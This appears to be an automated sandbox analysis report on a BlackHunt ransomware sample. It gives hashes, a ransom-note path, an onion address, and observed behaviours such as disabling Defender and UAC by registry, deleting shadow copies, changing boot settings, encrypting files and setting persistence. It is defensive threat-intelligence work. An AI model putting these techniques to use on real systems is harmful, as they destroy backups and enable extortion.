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Analysis
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max time kernel
176s -
max time network
197s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
19/01/2024, 01:06
Static task
static1
Behavioral task
behavioral1
Sample
dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe
Resource
win10v2004-20231215-en
General
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Target
dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe
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Size
707KB
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MD5
387b0a7c9a42e010602692ec266c69e3
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SHA1
a22ccaf2c4ef0c413e280bbb243fd2c09f5adc52
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SHA256
dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e
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SHA512
601262832ac863356b32414f22eb560704e8140fa348b46acaf5532a5cb5eb93cecd5f655cecc23c20170e3b8f4b682759c5b1673cb02007034e0766bf83b24e
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1o8Ivnh:6uaTmkZJ+naie5OTamgEoKxLWj2h
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 5192 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 6100 bcdedit.exe 6084 bcdedit.exe -
Renames multiple (516) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 6108 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" Conhost.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\G: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\U: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\A: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\R: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\P: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\S: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\K: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\I: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\O: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\B: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\M: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\T: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\H: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\L: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\N: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\W: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\Z: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\J: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\X: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\Q: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\E: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\Y: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\V: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 10 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_ko.properties dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jdk-1.8\lib\#BlackHunt_ReadMe.hta dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#BlackHunt_Private.key dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\7-Zip\Lang\af.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgeCalls.h dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\charsets.jar dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk-1.8\lib\ct.sym dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jre-1.8\legal\jdk\#BlackHunt_ReadMe.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\VideoLAN\#BlackHunt_Private.key dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\vlc.mo dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\7-Zip\Lang\uk.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\ext\sunjce_provider.jar dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\jfr.jar dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jre-1.8\lib\fonts\#BlackHunt_ReadMe.hta dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#BlackHunt_ReadMe.hta dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\7-Zip\Lang\eo.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\CompleteRestore.xhtml dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\dotnet\ThirdPartyNotices.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\#BlackHunt_ReadMe.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\#BlackHunt_ReadMe.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\7-Zip\Lang\ba.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\7-Zip\Lang\nl.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\7-Zip\License.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jdk-1.8\legal\#BlackHunt_ReadMe.hta dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\deploy\messages_pt_BR.properties dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\7-Zip\Lang\en.ttt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jdk-1.8\jre\bin\plugin2\#BlackHunt_ReadMe.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\javafx\public_suffix.md dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\libpng.md dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\#BlackHunt_ReadMe.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jdk-1.8\jre\legal\jdk\#BlackHunt_ReadMe.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\ext\meta-index dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\images\cursors\cursors.properties dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\VideoLAN\VLC\locale\ar\#BlackHunt_ReadMe.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\cryptix.md dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\deploy\messages_zh_CN.properties dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_MoveNoDrop32x32.gif dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\VideoLAN\VLC\locale\ast\#BlackHunt_Private.key dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\#BlackHunt_ReadMe.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_ReadMe.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\jce.jar dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jdk-1.8\legal\#BlackHunt_Private.key dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jre-1.8\#BlackHunt_Private.key dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\deploy\messages_zh_HK.properties dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\VideoLAN\VLC\locale\bs\#BlackHunt_ReadMe.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\calendars.properties dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\7-Zip\#BlackHunt_Private.key dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\7-Zip\Lang\az.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\deploy\#BlackHunt_ReadMe.hta dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\ext\#BlackHunt_Private.key dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\asm.md dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\bin\server\Xusage.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_Private.key dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\accessibility.properties dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\santuario.md dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\applet\#BlackHunt_ReadMe.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#BlackHunt_ReadMe.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_CopyNoDrop32x32.gif dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\security\trusted.libraries dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\dotnet\shared\#BlackHunt_Private.key dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\VideoLAN\VLC\locale\ar\#BlackHunt_ReadMe.hta dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\7-Zip\Lang\gl.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\7-Zip\Lang\ku.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 6116 schtasks.exe -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 5956 vssadmin.exe 5884 vssadmin.exe 6092 vssadmin.exe 6068 vssadmin.exe 6028 vssadmin.exe -
Modifies registry class 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe Token: SeRestorePrivilege 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe Token: SeBackupPrivilege 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe Token: SeTakeOwnershipPrivilege 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe Token: SeAuditPrivilege 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe Token: SeSecurityPrivilege 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe Token: SeIncBasePriorityPrivilege 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe Token: SeBackupPrivilege 5896 vssvc.exe Token: SeRestorePrivilege 5896 vssvc.exe Token: SeAuditPrivilege 5896 vssvc.exe Token: SeBackupPrivilege 4516 wbengine.exe Token: SeRestorePrivilege 4516 wbengine.exe Token: SeSecurityPrivilege 4516 wbengine.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4804 wrote to memory of 988 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 91 PID 4804 wrote to memory of 988 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 91 PID 4804 wrote to memory of 4516 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 93 PID 4804 wrote to memory of 4516 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 93 PID 4804 wrote to memory of 4424 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 95 PID 4804 wrote to memory of 4424 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 95 PID 4804 wrote to memory of 4128 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 96 PID 4804 wrote to memory of 4128 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 96 PID 4804 wrote to memory of 560 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 99 PID 4804 wrote to memory of 560 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 99 PID 4804 wrote to memory of 824 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 101 PID 4804 wrote to memory of 824 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 101 PID 4804 wrote to memory of 2856 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 104 PID 4804 wrote to memory of 2856 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 104 PID 4804 wrote to memory of 4204 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 103 PID 4804 wrote to memory of 4204 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 103 PID 4804 wrote to memory of 4556 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 107 PID 4804 wrote to memory of 4556 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 107 PID 4804 wrote to memory of 4768 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 109 PID 4804 wrote to memory of 4768 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 109 PID 4804 wrote to memory of 2988 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 113 PID 4804 wrote to memory of 2988 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 113 PID 4804 wrote to memory of 1476 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 114 PID 4804 wrote to memory of 1476 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 114 PID 4804 wrote to memory of 3692 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 115 PID 4804 wrote to memory of 3692 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 115 PID 4804 wrote to memory of 3348 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 117 PID 4804 wrote to memory of 3348 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 117 PID 4804 wrote to memory of 5116 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 119 PID 4804 wrote to memory of 5116 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 119 PID 4804 wrote to memory of 5056 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 121 PID 4804 wrote to memory of 5056 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 121 PID 4804 wrote to memory of 2908 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 124 PID 4804 wrote to memory of 2908 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 124 PID 4804 wrote to memory of 2356 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 158 PID 4804 wrote to memory of 2356 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 158 PID 4804 wrote to memory of 468 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 128 PID 4804 wrote to memory of 468 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 128 PID 4804 wrote to memory of 2412 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 157 PID 4804 wrote to memory of 2412 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 157 PID 4804 wrote to memory of 1992 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 153 PID 4804 wrote to memory of 1992 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 153 PID 988 wrote to memory of 1640 988 cmd.exe 154 PID 988 wrote to memory of 1640 988 cmd.exe 154 PID 4516 wrote to memory of 4648 4516 cmd.exe 129 PID 4516 wrote to memory of 4648 4516 cmd.exe 129 PID 4804 wrote to memory of 3460 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 131 PID 4804 wrote to memory of 3460 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 131 PID 4804 wrote to memory of 1512 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 132 PID 4804 wrote to memory of 1512 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 132 PID 4804 wrote to memory of 4408 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 134 PID 4804 wrote to memory of 4408 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 134 PID 4804 wrote to memory of 4376 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 137 PID 4804 wrote to memory of 4376 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 137 PID 4804 wrote to memory of 1244 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 136 PID 4804 wrote to memory of 1244 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 136 PID 4804 wrote to memory of 3196 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 151 PID 4804 wrote to memory of 3196 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 151 PID 4804 wrote to memory of 2992 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 140 PID 4804 wrote to memory of 2992 4804 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 140 PID 4424 wrote to memory of 348 4424 cmd.exe 145 PID 4424 wrote to memory of 348 4424 cmd.exe 145 PID 560 wrote to memory of 260 560 cmd.exe 174 PID 560 wrote to memory of 260 560 cmd.exe 174 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
